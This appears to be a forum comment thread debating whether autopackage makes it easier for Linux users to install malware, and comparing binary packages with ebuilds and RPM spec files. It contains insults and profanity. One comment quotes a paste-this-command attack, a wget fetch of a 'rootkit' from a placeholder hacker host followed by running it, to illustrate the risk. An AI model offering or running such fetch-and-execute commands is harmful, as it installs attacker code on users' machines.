If a system administrator feels his users at risk of installing malware, she is well able to disallow execution of files in their homedirectories. This will prevent home-grown attacks (like "paste these 3 lines into a terminal: wget http://download.hacker.com/rootkit;./rootkit"), and also make autopackage impotent as a side-effect. (An admin with this attitude would also disallow users from running autopackage at all, of course)
You obviously have no experience with linux, or are trying to trick people. If one downloads a file from the internet and then "double-clicks" it on the desktop as you suggest, it does not run. It requires you to go into a terminal and chmod a+x to the file in question before it will execute an app like that. This is a step that all by itself will prevent most inexperienced users from installing this sort of malware crap. Ironically, most of them will thing "ROFL LOL Gee Lunix suxx its so hard to use lol!!!" while it is saving their ass from their own stupidity.
What I am concerned about with autopackage is *exactly* the scenario you suggest. If autopackage was bundled by distro makers, then unlike now people *could* install malware crap at the touch of a button from the internet. Linux would be "easier to use" and thus instantly becoming rapidly easy to make just as lousy as Windows is now. This is why I am fighting the adoption of AutoPackage, because in the long run it can only hurt the overall user experience.
501 Not Implemented
except perhaps associating the FS IDs with the folder (which IMHO is a bad idea anyway).
Taking their advice, as a test I tried installing the Gaim autopackage.
/usr/libexec/autopackage/freespace: error while loading shared libraries: libgcc_s.so.1: cannot open shared object file: No such file or directory
FAIL: You don't have enough disk space for in prefix , you need at least bytes
Oh well.
100% on that one!
501 Not Implemented
The nice thing about ebuilds, as opposed to binary packages it that so long as you have libraries installed that can work with foobar, you can install foobar.
There's no such difference, since we're talking about creating your own ebuilds, the logical comparison is not to ready built binary packages but to whipping your own as well.
RPM spec files aren't black magic, it's no big deal to create a totally new package, rather similar to creating ebuilds, I'd expect, and recompiling source rpm's is dead simple. I doubt debs are much harder.
I remember for example fighting with mplayer (wants GCC 2.95) and redhat (wants GCC 2.96), back in the days that I used redhat.
There is nothing autopackage would have done to solve that problem, because it's a binary packaging format.
There's nothing ebuild would have done to solve that problem, because it wasn't problem with ABI, mplayer just didn't like 2.96, recompiling it with it would not have helped.
Your knowledge about binary packages and especially where they come from and how easily they can be modified seems quite lacking.
Your knowledge about binary packages and especially Your knowledge about binary packages and especially where they come from and how easily they can be modified seems quite lacking.
What's wrong with you man?
You're getting all condescending with out understanding any of the points I made.
There's no such difference, since we're talking about creating your own ebuilds
We're not. We're talking about downloading an ebuild as opposed to downloading an RPM, autopackage or whatever.
There's nothing ebuild would have done to solve that problem, because it wasn't problem with ABI, mplayer just didn't like 2.96, recompiling it with it would not have helped.
Portage solves this problem by installing the correct libraries for each package automagically and by recompiling each package to use libaries that actually exist on the system.
If you give me a binary compiled for a library I don't have, it isn't going to work. Rebuiling the RPM from source IS THE SAME FUCKING THING THAT PORTAGE DOES, EXCEPT THAT PORTAGE DOES IT AUTOMATICALLY. If you're rebuilding the code from source, you're no longer distributing binaries.
To act is if I don't know "about binary packages and especially where they come from and how easily they can be modified" is being a total fucktard. If you're building from source, you're not using binary packages as your distribution mechanism. Why? Because you wouldn't have the source code to build the program from if you did.
Mods, I generally try to aviod calling someone a 'fucktard', but guys like this really deserve to get flamed to a crisp. If you're going to be condescending at least have a clue what you're talking about.
Life is too short to proofread.
how the fuck was that a troll? granted this is a flame... but thats not a fucking troll.
Well looks like linux is getting to be more and more easier to use. Having one install program that works across all distributions is great. Just like the windows world. And that's the way I like it.
My Gawd WTF...